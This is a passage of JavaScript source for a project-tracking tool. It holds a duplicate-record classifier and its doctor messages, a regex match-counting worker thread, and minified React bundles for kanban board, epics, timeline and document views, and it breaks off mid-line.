| } | ||
| const classified = []; | ||
| for (const [id, members] of groups) { | ||
| if (members.length > 1) | ||
| classified.push(classify(id, members)); | ||
| } | ||
| return classified.sort((left, right) => byCodeUnit(left.id, right.id)); | ||
| } | ||
| const LABELS = { | ||
| card: "cards", | ||
| change: "changelog records", | ||
| doc: "documents", | ||
| memory: "memory records" | ||
| }; | ||
| /** | ||
| * What `doctor` says about a duplicate. | ||
| * | ||
| * A healable collision names the command that performs the repair and which | ||
| * side of it keeps the ID. A refused one names no command at all: the previous | ||
| * message pointed every collision at `card renumber --duplicates`, which is | ||
| * exactly the dead end this replaces. | ||
| */ | ||
| export function duplicateIssueMessage(classification) { | ||
| const label = LABELS[String(classification.kind)] || "project records"; | ||
| const count = classification.paths.length; | ||
| const subject = classification.id | ||
| ? `${classification.id} is used by ${count} ${label}` | ||
| : `${count} ${label} carry no ID`; | ||
| if (!classification.healable) { | ||
| return `${subject}, and no command can heal it: ${classification.reasonText}.`; | ||
| } | ||
| const alsoCards = classification.kind === "card" | ||
| ? " or `workfile card renumber --duplicates`" | ||
| : ""; | ||
| const rule = classification.survivorFrozen | ||
| ? "the released fragment keeps the ID and the unreleased one moves to a free one" | ||
| : "the oldest keeps the ID and the rest move to free ones"; | ||
| return `${subject}. Run \`workfile doctor --fix\`${alsoCards} to heal it: ${rule}.`; | ||
| } |
| export {}; |
| import { parentPort, workerData } from "node:worker_threads"; | ||
| /** Matches of `matcher` in `text`, counted without keeping them. */ | ||
| function countMatches(matcher, text) { | ||
| if (!text) | ||
| return 0; | ||
| matcher.lastIndex = 0; | ||
| let count = 0; | ||
| while (matcher.exec(text)) { | ||
| count += 1; | ||
| // A zero-width match does not advance `lastIndex` on its own, and the | ||
| // loop would never end. `//` is not reachable — the query form | ||
| // requires a non-empty pattern — but `/(?:)*/ ` and friends are. | ||
| if (matcher.lastIndex === 0) | ||
| break; | ||
| } | ||
| return count; | ||
| } | ||
| /** The line holding the first body match, trimmed to the excerpt length. */ | ||
| function matchedLine(matcher, body, length) { | ||
| if (!body) | ||
| return null; | ||
| matcher.lastIndex = 0; | ||
| const match = matcher.exec(body); | ||
| if (!match) | ||
| return null; | ||
| const start = body.lastIndexOf("\n", match.index) + 1; | ||
| const end = body.indexOf("\n", match.index); | ||
| const line = body | ||
| .slice(start, end === -1 ? body.length : end) | ||
| // A fixed pattern over one line, not the user's, so it is bounded. | ||
| .replace(/\s+/g, " ") | ||
| .trim(); | ||
| return line.length > length ? `${line.slice(0, length).trimEnd()}…` : line; | ||
| } | ||
| const input = workerData; | ||
| const matcher = new RegExp(input.source, input.flags); | ||
| parentPort?.postMessage(input.records.map((record) => { | ||
| const titleMatches = countMatches(matcher, String(record.title || "")); | ||
| const matchCount = countMatches(matcher, String(record.id || "")) + | ||
| titleMatches + | ||
| countMatches(matcher, record.body); | ||
| return { | ||
| titleMatches, | ||
| matchCount, | ||
| line: matchCount | ||
| ? matchedLine(matcher, record.body, input.excerptLength) | ||
| : null | ||
| }; | ||
| })); |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{Tt as r,ft as i,wt as a}from"./ui-primitives-C8uJIJg4.js";import{i as o,n as s,o as c,s as l,u}from"./theme-pTuib_xY.js";import{A as d,B as f,D as p,F as m,O as h,P as g,Q as _,T as v,et as y,k as b,n as x,r as S,t as C,z as w}from"./index-Db_ww4LG.js";var T=e(t(),1),E=n(),D=[];function O(e,t){let[n,r]=(0,T.useState)(t);(0,T.useEffect)(()=>{r(t)},[e.length,t]);let i=(0,T.useCallback)(()=>r(n=>Math.min(n+t,e.length)),[e.length,t]);return[n>=e.length?e:e.slice(0,n),n<e.length,i]}function k({onVisible:e,remaining:t}){let n=(0,T.useRef)(null);return(0,T.useEffect)(()=>{let t=n.current;if(!t)return;let r=new IntersectionObserver(t=>{t.some(e=>e.isIntersecting)&&e()},{rootMargin:`600px 0px`});return r.observe(t),()=>r.disconnect()},[e,t]),(0,E.jsxs)(`span`,{ref:n,className:`px-0.5 py-1 font-mono text-[11px] text-muted-foreground`,children:[`+`,t,` more`]})}function A({task:e,epicId:t,onOpen:n,onDragStart:r,onCarry:i,carrying:a}){let o=e.claimed_at?Date.parse(e.claimed_at.includes(`T`)?e.claimed_at:`${e.claimed_at}T00:00:00`):NaN,l=Number.isNaN(o)?null:Math.max(0,Math.floor((Date.now()-o)/864e5)),d=[t&&t!==e.id?`epic ${t}`:``,e.effort?`effort ${e.effort}`:``,e.claimed_by?`claimed by ${e.claimed_by}${l==null?``:` · ${l}d`}`:``].filter(Boolean);return(0,E.jsxs)(`article`,{className:u(`flex cursor-pointer flex-col gap-1.5 rounded-lg border bg-background px-3 py-2.5 shadow-xs outline-none transition-[color,border-color,box-shadow] hover:border-ring focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50`,a&&`border-ring ring-2 ring-ring`),tabIndex:0,draggable:!!r,"aria-grabbed":i?!!a:void 0,title:d.length?d.join(` · `):void 0,onClick:()=>n(e.id),onKeyDown:t=>{t.key===`Enter`?(t.preventDefault(),n(e.id)):t.key===` `&&i?(t.preventDefault(),i()):t.key===` `&&(t.preventDefault(),n(e.id))},onDragStart:r,children:[(0,E.jsxs)(`span`,{className:`flex items-center`,children:[(0,E.jsx)(`span`,{className:`font-mono text-[11px] text-foreground/70`,children:e.id}),(0,E.jsx)(`span`,{className:`flex-1`}),(0,E.jsx)(`span`,{className:`font-mono text-[10px] font-medium`,style:{color:s(e.priority)},children:e.priority})]}),(0,E.jsx)(`span`,{className:`text-[12.5px] leading-snug font-medium`,role:`heading`,"aria-level":3,children:e.title}),(0,E.jsxs)(`span`,{className:`flex items-center gap-1.5 font-mono text-[10px] text-muted-foreground`,children:[(0,E.jsx)(`span`,{children:e.area}),(0,E.jsx)(`span`,{children:`·`}),(0,E.jsx)(`span`,{children:e.type}),e.claimed_by?(0,E.jsxs)(`span`,{className:`ml-auto inline-flex min-w-0 items-center gap-[5px]`,style:{color:c(`doing`)},children:[(0,E.jsx)(`span`,{className:`size-[5px] flex-none rounded-full bg-current`,"aria-hidden":`true`}),(0,E.jsx)(`span`,{className:`max-w-[90px] truncate`,children:e.claimed_by})]}):null]}),Array.isArray(e.scope)&&e.scope.length?(0,E.jsxs)(`span`,{className:`mt-0.5 truncate border-t border-dashed pt-1.5 font-mono text-[10.5px] text-muted-foreground`,children:[`scope `,e.scope.join(` · `)]}):null]})}function j({status:e,cards:t,epicIds:n,collapsed:o,onToggleCollapsed:s,onOpen:m,onMove:g,onCarry:_,carryingId:x,isDropTarget:S,onDragEnterColumn:C,onDragLeaveColumn:T}){let[D,j,M]=O(t,25),N=c(e),P={onDragOver:t=>{t.preventDefault(),t.dataTransfer.dropEffect=`move`,C?.(e)},onDragLeave:t=>{t.currentTarget.contains(t.relatedTarget)||T?.(e)},onDrop:t=>{t.preventDefault(),T?.(e);let n=t.dataTransfer.getData(`text/plain`);n&&g(n,e).catch(()=>void 0)}};return o?(0,E.jsxs)(f,{role:`region`,"aria-label":`${e}, ${t.length} cards, collapsed`,className:u(`relative w-11 flex-none gap-0 overflow-hidden rounded-lg py-0 shadow-xs`,S&&`border-primary`),...P,children:[(0,E.jsx)(w,{edge:`top`,color:N}),(0,E.jsxs)(`button`,{type:`button`,"aria-expanded":!1,"aria-label":`Expand the ${e} column`,title:`${e} · ${t.length}`,className:u(`flex h-full w-full cursor-pointer flex-col items-center gap-2.5 px-1 pt-4 pb-3 transition-colors hover:bg-accent/50`,S&&`bg-accent/50`),onClick:s,children:[(0,E.jsx)(r,{"aria-hidden":`true`,className:`size-3.5 shrink-0 text-muted-foreground`}),(0,E.jsx)(`span`,{className:`min-h-0 flex-1 truncate font-mono text-[11px] uppercase tracking-[0.06em] [writing-mode:vertical-rl]`,style:{color:N},children:e}),(0,E.jsx)(y,{variant:`secondary`,className:`h-5 shrink-0 rounded-md px-[7px] font-mono text-[11px] font-normal`,children:t.length})]})]}):(0,E.jsxs)(f,{role:`region`,"aria-label":`${e}, ${t.length} cards`,className:u(`relative w-[268px] flex-none gap-0 overflow-hidden rounded-lg py-0 shadow-xs`,S&&`border-primary`),...P,children:[(0,E.jsx)(w,{edge:`top`,color:N}),(0,E.jsxs)(`header`,{className:`flex flex-none items-center gap-2 px-3 pb-2.5 pt-4`,children:[(0,E.jsx)(`span`,{className:`flex-1 font-mono text-[11px] uppercase tracking-[0.06em]`,style:{color:N},children:e}),(0,E.jsx)(y,{variant:`secondary`,className:`h-5 rounded-md px-[7px] font-mono text-[11px] font-normal`,children:t.length}),s?(0,E.jsx)(l,{type:`button`,variant:`ghost`,size:`icon-xs`,"aria-expanded":!0,"aria-label":`Collapse the ${e} column`,title:`Collapse column`,className:`-mr-1 text-muted-foreground`,onClick:s,children:(0,E.jsx)(a,{"aria-hidden":`true`})}):null]}),(0,E.jsxs)(`div`,{className:u(`scroll-fade flex flex-1 flex-col gap-2 overflow-y-auto p-2.5`,S&&`bg-accent/50`),children:[t.length===0?(0,E.jsx)(v,{className:`flex-1 gap-2 rounded-lg border border-dashed p-4`,children:(0,E.jsxs)(h,{className:`gap-1`,children:[(0,E.jsx)(b,{variant:`icon`,className:`mb-0 size-8 [&_svg:not([class*='size-'])]:size-4`,children:(0,E.jsx)(i,{"aria-hidden":`true`})}),(0,E.jsx)(d,{className:`text-[12.5px] font-medium`,children:`No cards`}),(0,E.jsx)(p,{className:`text-[11.5px]`,children:`Nothing in this state.`})]})}):D.map(e=>(0,E.jsx)(A,{task:e,epicId:n.get(e.id),onOpen:m,onCarry:_?()=>_(e):void 0,carrying:x===e.id,onDragStart:t=>{t.dataTransfer.effectAllowed=`move`,t.dataTransfer.setData(`text/plain`,e.id)}},e.id)),j&&(0,E.jsx)(k,{onVisible:M,remaining:t.length-D.length})]})]})}function M({tasks:e,epicIds:t,showClosed:n,onOpen:r,onMove:i}){let[a,o]=(0,T.useState)(null),[s,c]=(0,T.useState)(null),[l,u]=(0,T.useState)(``),[d,f]=(0,T.useState)(()=>{try{let e=localStorage.getItem(`workfile-flow-collapsed`);return new Set(e?JSON.parse(e):[])}catch{return new Set}}),p=(0,T.useCallback)(e=>{f(t=>{let n=new Set(t);return n.has(e)?n.delete(e):n.add(e),localStorage.setItem(`workfile-flow-collapsed`,JSON.stringify([...n])),n})},[]),m=(0,T.useMemo)(()=>[`backlog`,`next`,`doing`,`review`,`blocked`,`deferred`,...n?[`done`,`discarded`]:[]],[n]),h=(0,T.useMemo)(()=>{let t=new Map;for(let n of e){let e=t.get(n.status);e?e.push(n):t.set(n.status,[n])}return t},[e]),g=e=>{o({id:e.id,status:e.status}),u(`${e.id} picked up from ${e.status}. Use the arrow keys to choose a column, space to drop, escape to cancel.`)},_=e=>{if(!a)return;let t=m.indexOf(a.status),n=m[Math.min(m.length-1,Math.max(0,t+e))];!n||n===a.status||(o({...a,status:n}),u(`${a.id} over ${n}.`))},v=async()=>{if(!a)return;let t=a;o(null);let n=e.find(e=>e.id===t.id);n&&n.status!==t.status?(await i(t.id,t.status),u(`${t.id} moved to ${t.status}.`)):u(`${t.id} put back.`)};return(0,E.jsxs)(`div`,{className:`flex min-h-0 flex-1 gap-3 overflow-x-auto p-3.5`,onDragEnd:()=>c(null),onKeyDown:e=>{a&&(e.key===`Escape`?(e.preventDefault(),o(null),u(`Move cancelled.`)):e.key===`ArrowRight`?(e.preventDefault(),_(1)):e.key===`ArrowLeft`?(e.preventDefault(),_(-1)):(e.key===` `||e.key===`Enter`)&&(e.preventDefault(),v()))},children:[(0,E.jsx)(`p`,{className:`sr-only`,role:`status`,"aria-live":`polite`,children:l}),m.map(e=>(0,E.jsx)(j,{status:e,cards:h.get(e)??D,epicIds:t,collapsed:d.has(e),onToggleCollapsed:()=>p(e),onOpen:r,onMove:i,onCarry:g,carryingId:a?.id??null,isDropTarget:a?.status===e||s===e,onDragEnterColumn:c,onDragLeaveColumn:e=>c(t=>t===e?null:t)},e))]})}function N({tasks:e,allTasks:t,epicIds:n,onOpen:r}){let i=(0,T.useMemo)(()=>new Map(t.map(e=>[e.id,e])),[t]),a=(0,T.useMemo)(()=>{let t=new Map;for(let r of e){let e=n.get(r.id)||(r.type===`epic`?r.id:`__none`);t.has(e)||t.set(e,[]),r.id!==e&&t.get(e)?.push(r)}return[...t].sort(([e],[t])=>e===`__none`?1:t===`__none`?-1:e.localeCompare(t,void 0,{numeric:!0}))},[n,e]);return a.length?(0,E.jsx)(`div`,{className:`flex-1 overflow-y-auto p-3.5`,children:(0,E.jsx)(`div`,{className:`flex flex-col gap-2.5`,children:a.map(([e,t])=>{let n=i.get(e),a=t.length,o=t.filter(e=>e.status===`done`||e.status===`discarded`).length,s=t.filter(e=>e.status===`doing`).length,l=a-o-s,d=e=>a?`${e/a*100}%`:`0%`,p=[{label:`${o} done`,color:c(`done`)},{label:`${s} doing`,color:c(`doing`)},{label:`${l} open`,color:null}],m=(0,E.jsxs)(E.Fragment,{children:[(0,E.jsxs)(`span`,{className:`flex min-w-0 items-center gap-2.5`,children:[(0,E.jsx)(`span`,{className:`font-mono text-[11.5px] text-foreground/70`,children:e===`__none`?`—`:e}),(0,E.jsx)(`span`,{className:`min-w-0 flex-1 text-sm font-semibold tracking-[-0.01em] text-pretty`,children:n?.title||`Without epic`}),n?(0,E.jsx)(`span`,{className:`font-mono text-[11px]`,style:{color:c(n.status)},children:n.status}):null,(0,E.jsxs)(`span`,{className:`font-mono text-[11.5px] text-muted-foreground`,children:[o,`/`,a]})]}),(0,E.jsx)(`span`,{className:`flex h-2 w-full overflow-hidden rounded-full bg-muted`,"aria-hidden":`true`,children:a>0?(0,E.jsxs)(E.Fragment,{children:[(0,E.jsx)(`span`,{className:`h-full`,style:{width:d(o),background:c(`done`)}}),(0,E.jsx)(`span`,{className:`h-full`,style:{width:d(s),background:c(`doing`)}})]}):null}),(0,E.jsxs)(`span`,{className:`flex flex-wrap items-center gap-3.5 font-mono text-[10.5px] text-muted-foreground`,children:[p.map(e=>(0,E.jsxs)(`span`,{className:`inline-flex items-center gap-[5px]`,children:[(0,E.jsx)(`span`,{className:u(`size-1.5 rounded-[2px]`,!e.color&&`bg-muted-foreground`),style:e.color?{background:e.color}:void 0,"aria-hidden":`true`}),e.label]},e.label)),(0,E.jsx)(`span`,{className:`ml-auto`,children:n?.area??``})]})]});return n?(0,E.jsx)(`button`,{type:`button`,className:`flex w-full cursor-pointer flex-col gap-2.5 rounded-xl border bg-card px-4 py-3.5 text-left text-card-foreground shadow-xs outline-none transition-[color,border-color,box-shadow] hover:border-ring focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50`,onClick:()=>r(e),children:m},e):(0,E.jsx)(f,{className:`gap-2.5 rounded-xl px-4 py-3.5 shadow-xs`,children:m},e)})})}):(0,E.jsx)(v,{className:`flex-1 p-6`,children:(0,E.jsxs)(h,{children:[(0,E.jsx)(d,{className:`text-sm`,children:`No epics`}),(0,E.jsx)(p,{className:`text-[11.5px]`,children:`No cards match the current filters.`})]})})}var P=300,F=30;function I({task:e,span:t,mode:n,epicId:r,pct:i,labelWidth:a,onOpen:o}){let s=c(e.status);return(0,E.jsxs)(`button`,{type:`button`,onClick:()=>o(e.id),title:`${S(e,n,t)} · ${e.status}${r&&r!==e.id?` · epic ${r}`:``}`,className:`flex w-full cursor-pointer items-center border-b bg-transparent p-0 text-left transition-colors hover:bg-muted`,children:[(0,E.jsxs)(`span`,{className:`flex min-w-0 items-center gap-2 border-r px-3.5`,style:{width:a,flex:`0 0 ${a}px`,height:`var(--row-h)`},children:[(0,E.jsx)(`span`,{className:`flex-none whitespace-nowrap font-mono text-[11px] text-foreground/70`,children:e.id}),(0,E.jsx)(`span`,{className:`min-w-0 truncate text-[12.5px]`,children:e.title})]}),(0,E.jsx)(`span`,{className:`relative block flex-1`,style:{height:`var(--row-h)`},children:t.point?(0,E.jsx)(`span`,{style:{position:`absolute`,top:`50%`,width:9,height:9,transform:`translate(-50%, -50%) rotate(45deg)`,borderRadius:2,background:s,display:`block`,left:`${i(t.from)}%`}}):(0,E.jsx)(`span`,{style:{position:`absolute`,top:`50%`,transform:`translateY(-50%)`,height:12,minWidth:6,borderRadius:3,background:s,display:`block`,left:`${i(t.from)}%`,width:`${Math.max(i(t.to)-i(t.from),.8)}%`}})})]})}function L({tasks:e,epicIds:t,axes:n={},mode:r,counts:i,onModeChange:a,onOpen:s}){let c=_()?168:P,u=c+460,[f,y]=(0,T.useState)(()=>{try{return localStorage.getItem(`workfile-timeline-group`)||`none`}catch{return`none`}}),b=(0,T.useCallback)(e=>{y(e);try{localStorage.setItem(`workfile-timeline-group`,e)}catch{}},[]),S=(0,T.useMemo)(()=>[`none`,`epic`,`area`,...Object.keys(n)],[n]),w=S.includes(f)?f:`none`,D=(0,T.useCallback)(e=>{if(w===`epic`)return t.get(e.id)||``;if(w===`area`)return e.area||``;let n=e[w];return typeof n==`string`?n:``},[t,w]),O=(0,T.useMemo)(()=>{let t=new Map;for(let n of e){let e=x(n,r);e&&t.set(n.id,e)}return t},[r,e]),k=(0,T.useMemo)(()=>{let t=(e,t)=>O.get(e.id).from-O.get(t.id).from||e.id.localeCompare(t.id),n=e.filter(e=>O.has(e.id)).sort(t);return w===`none`?n:[...n].sort((e,n)=>{let r=D(e),i=D(n);return!r==!i?r.localeCompare(i)||t(e,n):r?-1:1})},[D,w,O,e]),A=(0,T.useMemo)(()=>{if(w===`none`)return k.map(e=>({task:e,label:null}));let e=[],t=null;for(let n of k){let r=D(n);r!==t&&(t=r,e.push({task:null,label:r||`no ${w}`})),e.push({task:n,label:null})}return e},[D,w,k]),j=(0,T.useMemo)(()=>new Map(A.flatMap((e,t)=>e.task?[[e.task.id,t]]:[])),[A]),M=(0,T.useMemo)(()=>{let e=[];for(let t of k)for(let n of t.depends||[])j.has(n)&&e.push({from:n,to:t.id});return e},[j,k]),N=(0,T.useMemo)(()=>C(k.map(e=>O.get(e.id)),Date.now()),[k,O]),L=i[r===`plan`?`actual`:`plan`];return!k.length||!N?(0,E.jsx)(v,{className:`flex-1 p-6`,children:(0,E.jsxs)(h,{children:[(0,E.jsx)(d,{className:`text-sm`,children:r===`plan`?`Nothing scheduled`:`Nothing recorded`}),(0,E.jsx)(p,{className:`text-[11.5px]`,children:r===`plan`?`Add a start or due date to a card.`:`Cards record a trail as they are claimed and moved.`}),L>0?(0,E.jsx)(p,{className:`text-[11.5px]`,children:(0,E.jsx)(l,{variant:`outline`,size:`sm`,className:`mt-2 text-[12.5px] font-medium`,onClick:()=>a(r===`plan`?`actual`:`plan`),children:r===`plan`?`show what actually happened · ${L} cards`:`show the schedule · ${L} cards`})}):null]})}):(0,E.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col`,children:[(0,E.jsxs)(g,{gutter:`3.5`,className:`shrink-0 border-b bg-card py-2`,children:[(0,E.jsxs)(`span`,{className:`shrink-0 font-mono text-[11px] whitespace-nowrap text-muted-foreground`,children:[k.length,` `,r===`actual`?`recorded`:`scheduled`,` ·`,` `,M.length,` dependenc`,M.length===1?`y`:`ies`]}),(0,E.jsxs)(`span`,{className:`ml-auto flex shrink-0 items-center gap-2`,children:[(0,E.jsx)(m,{label:`dates`,value:r,allLabel:null,align:`end`,options:[{value:`plan`},{value:`actual`}],onChange:e=>a(e)}),(0,E.jsx)(m,{label:`group`,value:w,allLabel:null,align:`end`,options:S.map(e=>({value:e})),onChange:b})]})]}),(0,E.jsx)(`div`,{className:`min-h-0 flex-1 overflow-auto`,children:(0,E.jsxs)(`div`,{className:`relative min-h-full`,style:{minWidth:u},children:[(0,E.jsxs)(`div`,{"aria-hidden":`true`,className:`sticky top-0 z-[2] flex items-stretch border-b bg-card`,style:{height:F},children:[(0,E.jsx)(`span`,{className:`flex items-center border-r px-3.5 text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{width:c,flex:`0 0 ${c}px`},children:`card`}),(0,E.jsx)(`span`,{className:`relative flex-1`,children:N.ticks.map((e,t)=>(0,E.jsx)(`span`,{className:`text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{position:`absolute`,top:`50%`,transform:`translateY(-50%)`,left:`${e.left}%`,width:`${(N.ticks[t+1]?.left??100)-e.left}%`,overflow:`hidden`,paddingLeft:8,whiteSpace:`nowrap`},children:e.label},e.key))})]}),(0,E.jsxs)(`div`,{"aria-hidden":`true`,className:`pointer-events-none absolute`,style:{top:F,bottom:0,left:c,right:0},children:[N.ticks.map(e=>(0,E.jsx)(`span`,{className:`absolute inset-y-0 w-px bg-border`,style:{left:`${e.left}%`}},e.key)),N.today!=null&&(0,E.jsx)(`span`,{className:`absolute inset-y-0 w-px`,style:{background:o(`error`),opacity:.55,left:`${N.today}%`}})]}),(0,E.jsxs)(`div`,{className:`relative`,children:[M.length>0&&(0,E.jsx)(`svg`,{"aria-hidden":`true`,preserveAspectRatio:`none`,viewBox:`0 0 100 ${A.length}`,className:`pointer-events-none absolute top-0 h-full`,style:{left:c,width:`calc(100% - ${c}px)`},children:M.map(e=>{let t=O.get(e.from),n=O.get(e.to);if(!t||!n)return null;let r=N.pct(t.to),i=N.pct(n.from),a=j.get(e.from)+.5,s=j.get(e.to)+.5;return(0,E.jsx)(`path`,{d:`M ${r} ${a} C ${(r+i)/2} ${a}, ${(r+i)/2} ${s}, ${i} ${s}`,vectorEffect:`non-scaling-stroke`,style:i<r?{fill:`none`,stroke:o(`error`),strokeWidth:1.5,strokeDasharray:`3 2`}:{fill:`none`,stroke:`var(--muted-foreground)`,strokeWidth:1.5,opacity:.4}},`${e.from}-${e.to}`)})}),A.map((e,n)=>e.task?(0,E.jsx)(I,{task:e.task,span:O.get(e.task.id),mode:r,epicId:t.get(e.task.id),pct:N.pct,labelWidth:c,onOpen:s},e.task.id):(0,E.jsx)(`div`,{className:`border-b bg-muted/40`,children:(0,E.jsx)(`span`,{className:`flex items-center px-3.5 text-[10px] uppercase tracking-[0.08em] text-muted-foreground`,style:{height:`var(--row-h)`},children:e.label})},`group-${n}-${e.label}`))]})]})})]})}export{N as EpicsView,M as FlowBoard,L as TimelineView}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{Ot as r,U as i,_t as a,gt as o,nt as s,q as c}from"./ui-primitives-C8uJIJg4.js";import{r as l,s as u,u as d}from"./theme-pTuib_xY.js";import{A as ee,C as f,D as te,G as p,I as ne,L as re,M as ie,O as ae,P as oe,Q as se,R as ce,S as le,T as ue,Z as m,_ as h,b as g,c as de,d as fe,et as _,f as pe,g as v,h as y,l as me,m as b,nt as x,p as he,tt as S,v as ge,w as C,x as w,y as T}from"./index-Db_ww4LG.js";import{t as _e}from"./layout-QiuZ_k5v.js";var E=e(t(),1),D=n(),O=`doc-h`,ve=[`current`,`draft`,`superseded`,`archived`],k=`text-[10px] font-medium tracking-[0.07em] uppercase text-muted-foreground`;function ye({document:e,selected:t,onSelect:n}){return(0,D.jsx)(C,{asChild:!0,size:`sm`,className:d(`w-full cursor-pointer flex-col items-start gap-0.5 px-2 py-1.5 text-left hover:bg-accent`,t&&`bg-accent`),children:(0,D.jsxs)(`button`,{type:`button`,"aria-current":t?`true`:void 0,onClick:n,children:[(0,D.jsxs)(`span`,{className:`flex w-full items-center gap-1.5`,children:[(0,D.jsx)(`span`,{className:`flex-1 truncate text-xs font-medium`,children:e.title}),(0,D.jsx)(`span`,{className:d(`font-mono text-[10px]`,!e.managed&&`text-muted-foreground`),style:e.managed?{color:l(e.status)}:void 0,children:e.managed?e.status:`indexed`})]}),(0,D.jsx)(`span`,{className:`w-full truncate font-mono text-[10px] text-muted-foreground`,children:e.path})]})})}function be({entries:e,activeId:t,onJump:n}){let r=Math.min(...e.map(e=>e.level));return(0,D.jsxs)(`aside`,{"aria-label":`Document outline`,className:`hidden w-[228px] shrink-0 overflow-y-auto border-l px-3 py-6.5 xl:block`,children:[(0,D.jsx)(`span`,{className:d(k,`px-2`),children:`on this page`}),(0,D.jsx)(`nav`,{className:`mt-2 flex flex-col gap-px`,children:e.map(e=>{let i=e.id===t;return(0,D.jsx)(`button`,{type:`button`,"aria-current":i?`true`:void 0,className:d(`cursor-pointer rounded-md px-2 py-1 text-left text-xs leading-snug transition-colors hover:bg-accent`,i?`bg-accent font-medium text-foreground`:`text-muted-foreground`),style:{paddingLeft:`${8+Math.min(e.level-r,3)*12}px`},onClick:()=>n(e.id),children:e.text},e.id)})})]})}function A({label:e,value:t}){return(0,D.jsxs)(h,{className:`w-auto min-w-[120px] gap-0.5 rounded-lg border bg-card px-3 py-2 shadow-xs`,children:[(0,D.jsx)(`span`,{className:k,children:e}),(0,D.jsx)(`span`,{className:`text-[13px] font-medium`,children:t})]})}function j({label:e,links:t,onOpen:n}){return t.length?(0,D.jsxs)(`section`,{className:`flex flex-col gap-1.5`,children:[(0,D.jsx)(`span`,{className:k,children:e}),t.map((e,t)=>{let r=!e.exists&&!e.title;return(0,D.jsx)(C,{asChild:!0,variant:`outline`,size:`sm`,className:d(`w-full cursor-pointer gap-2 px-2.5 py-2 text-left hover:bg-accent`,r&&`cursor-default opacity-55 hover:bg-transparent`),children:(0,D.jsxs)(`button`,{type:`button`,disabled:r,onClick:()=>n(e.id),children:[(0,D.jsx)(`span`,{className:`min-w-[78px] shrink-0 font-mono text-[11px] font-medium`,children:e.id}),(0,D.jsx)(`span`,{className:`min-w-0 flex-1 truncate text-xs text-muted-foreground`,children:e.title||(e.exists===!1?`Missing record`:e.id)}),(e.relations??[e.relation]).filter(Boolean).map(e=>(0,D.jsx)(_,{variant:`secondary`,className:`font-mono text-[10px]`,children:e},e))]})},`${e.id}-${t}`)})]}):null}var M=(0,D.jsx)(`span`,{"aria-hidden":`true`,className:`text-muted-foreground`,children:`·`});function N({id:e,onSelect:t,onOpen:n}){let[r,i]=(0,E.useState)(null),[o,s]=(0,E.useState)(``),c=(0,E.useRef)(null),d=(0,E.useMemo)(()=>r?w(r.body||``,O):[],[r]);return(0,E.useEffect)(()=>{let t=!0;return i(null),s(``),p.record(e).then(e=>{t&&i(e.record)}).catch(e=>{t&&s(e.message)}),()=>{t=!1}},[e]),o?(0,D.jsx)(`div`,{className:`px-4 py-3 text-xs text-muted-foreground`,children:o}):r?(0,D.jsxs)(`div`,{ref:c,className:`flex min-h-0 flex-1 flex-col overflow-y-auto px-4 py-3`,children:[(0,D.jsxs)(`div`,{className:`flex flex-wrap items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,D.jsx)(`span`,{children:r.id}),M,(0,D.jsx)(`span`,{children:r.documentKind}),M,(0,D.jsx)(`span`,{style:{color:l(r.status)},children:r.status}),M,(0,D.jsx)(`span`,{children:r.managed?`managed`:`indexed`}),(0,D.jsxs)(u,{type:`button`,variant:`ghost`,size:`sm`,className:`ml-auto px-2`,onClick:()=>n(e),children:[(0,D.jsx)(a,{"aria-hidden":`true`,className:`size-3`}),`Open in Docs`]})]}),(0,D.jsx)(`h2`,{className:`mt-1 text-sm font-medium`,children:r.title}),(0,D.jsx)(`p`,{className:`font-mono text-[11px] text-muted-foreground`,children:r.path}),r.freshness?.length?(0,D.jsx)(S,{className:`mt-3`,children:(0,D.jsx)(x,{children:r.freshness.map(e=>e.message).join(` `)})}):null,(0,D.jsxs)(`div`,{className:`mt-3 flex min-w-0 items-start gap-1`,children:[(0,D.jsx)(`div`,{className:`min-w-0 flex-1 [&>.typeset]:[--typeset-leading:1.6] [&>.typeset]:[--typeset-size:0.8125rem] [&>.typeset>:not(.typeset-scroll)]:max-w-[72ch]`,children:(0,D.jsx)(g,{source:r.body||`_This document is empty._`,onOpen:t,headingPrefix:O})}),(0,D.jsx)(b,{entries:d,container:c})]})]}):(0,D.jsxs)(`div`,{className:`flex items-center gap-2 px-4 py-3 text-sm text-muted-foreground`,children:[(0,D.jsx)(f,{}),` Reading `,e,`…`]})}function P({selectedId:e,onSelect:t,onOpenCard:n,search:a,onSearchChange:_}){let[b,C]=(0,E.useState)([]),[N,P]=(0,E.useState)(!0),[F,I]=(0,E.useState)(``),[L,xe]=(0,E.useState)(!1),[R,Se]=(0,E.useState)(!1),[z,B]=(0,E.useState)(null),[V,H]=(0,E.useState)(!1),[U,W]=(0,E.useState)(``),[G,Ce]=(0,E.useState)(null),[we,K]=(0,E.useState)(0);ce(e=>{re(e,`/docs/`,`docs/`)&&K(e=>e+1)}),(0,E.useEffect)(()=>{let e=!1;P(!0);let t=window.setTimeout(()=>{p.docs(a.trim()).then(t=>{e||(C(t.records),I(``))}).catch(t=>{e||I(t instanceof Error?t.message:String(t))}).finally(()=>{e||P(!1)})},a?180:0);return()=>{e=!0,window.clearTimeout(t)}},[a,we]),(0,E.useEffect)(()=>{if(!z||G)return;let e=!1;return p.tasks().then(t=>{e||Ce(t.schema.docs)}).catch(()=>{}),()=>{e=!0}},[z,G]);let q=(0,E.useMemo)(()=>L?b.filter(e=>e.managed):b,[b,L]),J=(0,E.useMemo)(()=>{let e=q.filter(e=>e.managed),t=q.filter(e=>!e.managed);return[{key:`managed`,label:`.project/docs · managed`,docs:e},{key:`indexed`,label:`indexed · read only`,docs:t}].filter(e=>e.docs.length>0)},[q]),Te=se(),Y=q.find(t=>t.id===e)||(Te?void 0:q[0]),Ee=(0,E.useRef)(null),[De,X]=(0,E.useState)(``),Z=(0,E.useMemo)(()=>Y&&!R?w(Y.body,O):[],[Y,R]),Q=Z.length>1;(0,E.useEffect)(()=>{X(``);let e=Ee.current;if(!e||!Q)return;let t=new Map,n=new IntersectionObserver(e=>{for(let n of e)t.set(n.target.id,n.isIntersecting);let n=Z.find(e=>t.get(e.id));n&&X(n.id)},{root:e,rootMargin:`0px 0px -66% 